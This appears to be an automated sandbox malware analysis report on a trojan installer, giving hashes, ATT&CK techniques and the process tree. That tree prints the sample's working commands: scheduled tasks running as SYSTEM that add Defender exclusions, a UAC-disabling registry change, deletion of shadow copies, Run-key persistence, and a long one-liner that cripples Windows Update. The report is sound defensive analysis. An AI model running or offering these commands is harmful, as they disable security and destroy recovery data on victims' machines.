7549514b56dbf2abc215948da8a5e8a8635e403dd166d962a0d63a304142e27b

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/08/2026, 00:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_q0.3.14.exe
Size 25.8MB
Sample260831-a4cmhasfqa
SHA256 7549514b56dbf2abc215948da8a5e8a8635e403dd166d962a0d63a304142e27b
MD5 44b81dca8f019ae4d86db3bbe813c990
SHA1 1578dd548b499513f9e7c1438642c77ae0ee0c9a
SHA512 da4664621d004bc2a48b0e67636401a5750fe1ae37c47d2d1aaeaf07787c554858e5b1505c4525cb5df617f4cbef12612e6d57ea8c0253c40b3a5057582c67fd
SSDEEP 49152:0udCDvwT4vMN0GUX+UPhsVEFAt8D4ak1t2J++32xobI8iR1aoPnMB9CfZ1Cy988G:qvq0nXhSaF5MxcNafMHW+EnzYP1P
TLSH
T18257094EB7478DD3F9095638499687E433B3ECB08A5647033298B32D6FBF2885DA7581
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	SODKcb.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\3da7Qa = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation	bbxOjB.exe

Executes dropped EXE 3 IoCs

pid	Process
4236	bbxOjB.exe
4604	bbxOjB.exe
3064	SODKcb.exe

Loads dropped DLL 3 IoCs

pid	Process
4236	bbxOjB.exe
4604	bbxOjB.exe
3064	SODKcb.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1292	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\3da7Qa\\bbxOjB.exe\""	bbxOjB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\SODKcb\\SODKcb.exe\""	SODKcb.exe

Indicator Removal: Clear Persistence 1 TTPs 7 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5000	cmd.exe
3980	cmd.exe
5164	cmd.exe
5604	cmd.exe
5368	cmd.exe
5332	cmd.exe
1104	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	bbxOjB.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\SODKcb\thumbs.db	bbxOjB.exe
File created	C:\Program Files (x86)\SODKcb\thumbs.db	bbxOjB.exe
File opened for modification	C:\Program Files (x86)\SODKcb\SODKcb.exe	bbxOjB.exe
File opened for modification	C:\Program Files (x86)\SODKcb	bbxOjB.exe
File created	C:\Program Files (x86)\SODKcb\SODKcb.exe	bbxOjB.exe
File created	C:\Program Files (x86)\SODKcb\XPSPLOG.dll	bbxOjB.exe
File created	C:\Program Files (x86)\SODKcb\image.png	bbxOjB.exe
File opened for modification	C:\Program Files (x86)\SODKcb\XPSPLOG.dll	bbxOjB.exe
File opened for modification	C:\Program Files (x86)\SODKcb\image.png	bbxOjB.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 9 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5336	cmd.exe
1912	cmd.exe
3784	cmd.exe
972	cmd.exe
5176	cmd.exe
5240	cmd.exe
5824	cmd.exe
3032	cmd.exe
2808	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SODKcb.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	bbxOjB.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2160	schtasks.exe
3932	schtasks.exe
1456	schtasks.exe
3748	schtasks.exe
2668	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4588	install_q0.3.14.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe
4236	bbxOjB.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4236 wrote to memory of 5000	4236	bbxOjB.exe	104
PID 5000 wrote to memory of 2668	5000	cmd.exe	107
PID 5000 wrote to memory of 4772	5000	cmd.exe	108
PID 4236 wrote to memory of 3980	4236	bbxOjB.exe	110
PID 5000 wrote to memory of 3976	5000	cmd.exe	112
PID 3980 wrote to memory of 2160	3980	cmd.exe	113
PID 4236 wrote to memory of 5164	4236	bbxOjB.exe	116
PID 3980 wrote to memory of 2024	3980	cmd.exe	118
PID 5164 wrote to memory of 3932	5164	cmd.exe	120
PID 3980 wrote to memory of 5292	3980	cmd.exe	122
PID 5164 wrote to memory of 5176	5164	cmd.exe	123
PID 5164 wrote to memory of 1020	5164	cmd.exe	124
PID 5240 wrote to memory of 5520	5240	cmd.exe	126
PID 1912 wrote to memory of 5496	1912	cmd.exe	127
PID 4236 wrote to memory of 5604	4236	bbxOjB.exe	128
PID 5604 wrote to memory of 1456	5604	cmd.exe	130
PID 5604 wrote to memory of 2080	5604	cmd.exe	131
PID 5604 wrote to memory of 5004	5604	cmd.exe	133
PID 3784 wrote to memory of 3936	3784	cmd.exe	135
PID 4236 wrote to memory of 5368	4236	bbxOjB.exe	136
PID 5368 wrote to memory of 3748	5368	cmd.exe	138
PID 5368 wrote to memory of 1172	5368	cmd.exe	139
PID 5368 wrote to memory of 1564	5368	cmd.exe	141
PID 5824 wrote to memory of 5464	5824	cmd.exe	143
PID 4236 wrote to memory of 3064	4236	bbxOjB.exe	148

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	SODKcb.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_q0.3.14.exe
"C:\Users\Admin\AppData\Local\Temp\install_q0.3.14.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4588

C:\Users\Public\3da7Qa\bbxOjB.exe
C:\Users\Public\3da7Qa\bbxOjB.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3da7Qa\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5000
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3da7Qa\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2668
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4772
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2160
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2024
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5164
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3932
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5176
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5604
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1456
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2080
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5368
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1172
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1564
- C:\Program Files (x86)\SODKcb\SODKcb.exe
  "C:\Program Files (x86)\SODKcb\SODKcb.exe"
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - System policy modification
  PID:3064
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:972
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\SODKcb" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3032
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\SODKcb" /inheritance:r
      4⤵
      Modifies file permissions
      PID:1292
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2808
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\SODKcb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5332
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:5336
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5176
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1104

C:\Users\Public\3da7Qa\bbxOjB.exe
"C:\Users\Public\3da7Qa\bbxOjB.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4604

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\3da7Qa" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1912
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\3da7Qa" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5496

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5240
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5520

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5184

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3784
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3936

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5824
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5464

C:\Program Files (x86)\SODKcb\SODKcb.exe
"C:\Program Files (x86)\SODKcb\SODKcb.exe"
1⤵
PID:4344

C:\Program Files (x86)\Kn082\0DIJcS8l.exe
"C:\Program Files (x86)\Kn082\0DIJcS8l.exe"
1⤵
PID:5288

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\Kn082\XPSPLOG.dll
Size 4.6MB
SHA256 2ac7ba1c0438213a1d616b5facaf1369f0c7501edadda32f0a84ef673f7be42f
MD5 41038d780c754cc6fc0175cc4dbbfeb7
SHA1 aa56c8c3d7436192d301eaae0865df0dd86a07fd
SHA512 3d3900dbf104309d1a02b962f436c5d9bf6e2982b9d1f5754d6a494838545d01ec18907d5b06bd142ce7dcf142329d196fabb75099faccc3cca97acedfe1bcff
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy6:BMWKfU+BcUTHCCCfqCiUffn6
TLSH
T145263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\Kn082\image.png
Size 192KB
SHA256 fb4b9aa88b1f4b38bb7b55a07c2b18deca835c7da419333b589268d92591ec8d
MD5 3e72d0565e50920fe63be459a92747e2
SHA1 b1ec626e0ffad075be74499deb04bdb6ccd63026
SHA512 137fa400c7be9fcc3b5d1c8b53ecad093a206cfad183d242f37b845c551753489c881b59ff1985d0b15dc780f2b162c62ac0b6e564498657a085ab8160114251
SSDEEP 3072:nc8L7964eTlFwK0QvBoLgHt1iDeuhTkSJW479sM6Mru+aPT+HnpiiziYglA9pZBj:nLL796hTlmYvBaa81Jp9srMXcTMpimiw
TLSH
T17714126143058D8857AEDF88813D4661DAF8ABBF6DD1116F6E370C070E1D2F19BBACA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SODKcb.exe

Path C:\Program Files (x86)\SODKcb\SODKcb.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\SODKcb\XPSPLOG.dll
Size 4.6MB
SHA256 851902a12df767ff221f3561c06b19248d3fb531cbe156405f3960a0ce56dec9
MD5 81584d29e8006ac546860c2aa7b206de
SHA1 d0d21e4c80bec0fdfe4b084bb7536d37c96678e2
SHA512 7feae8a41f1c09d98eafd646dce07987a9ab1fc215bddd9e0769bc199262c2d12d734fb1b2e70509c3784b0d75bc4c52e60a8c492e57fe2362a4ae66ed822f21
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyl:BMWKfU+BcUTHCCCfqCiUffnl
TLSH
T107263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\SODKcb\image.png
Size 5.0MB
SHA256 3f5d17a4983645f9c0227eb7c5a960e39774d3fa8ccf3d1f0ebde74fa4743710
MD5 b903bf138726958dfd039b62ca3d42a3
SHA1 32418aaf5235d76a6b458a00b2e3ebf4c4df1379
SHA512 7a20e84a30f6b7e08dd1e5272ac29514f206cd830ed3420c605e81f940ffec8a03fa139b225ce142208460d1309b117d95189d985ddd06a35fc9b710f3da4121
SSDEEP 98304:PFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:0RIUjDgAk+jkn/IXhVaK
TLSH
T1553633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\SODKcb\thumbs.db
Size 358KB
SHA256 b4735c8a080196dbba4215bb54e35e5afe4fd7e8418a4f3e292a71fd4f6bbefa
MD5 380e3a759eb1b6d817df3257c1cd2f33
SHA1 fea23082096df7091db45a581cc94aa8165fef5e
SHA512 135ada394daca2bda8b27ad17a330f0565b358e82b64cecd982df5277425863ed022319c7179809ab1add1082bda1de6d83bfa3aa663155e5f524f69b34ba91b
SSDEEP 6144:ViACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:88u69CghoQxoMTFQqtKFCz7mb/
TLSH
T17E74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\3da7Qa\UxEnhance64.dll
Size 3.1MB
SHA256 d733f5b0e1287c1abfefbd252423a683c70dd617a0e876bcb9e7ff10554caede
MD5 e9d4865263aa2086072ccf2cdacb366e
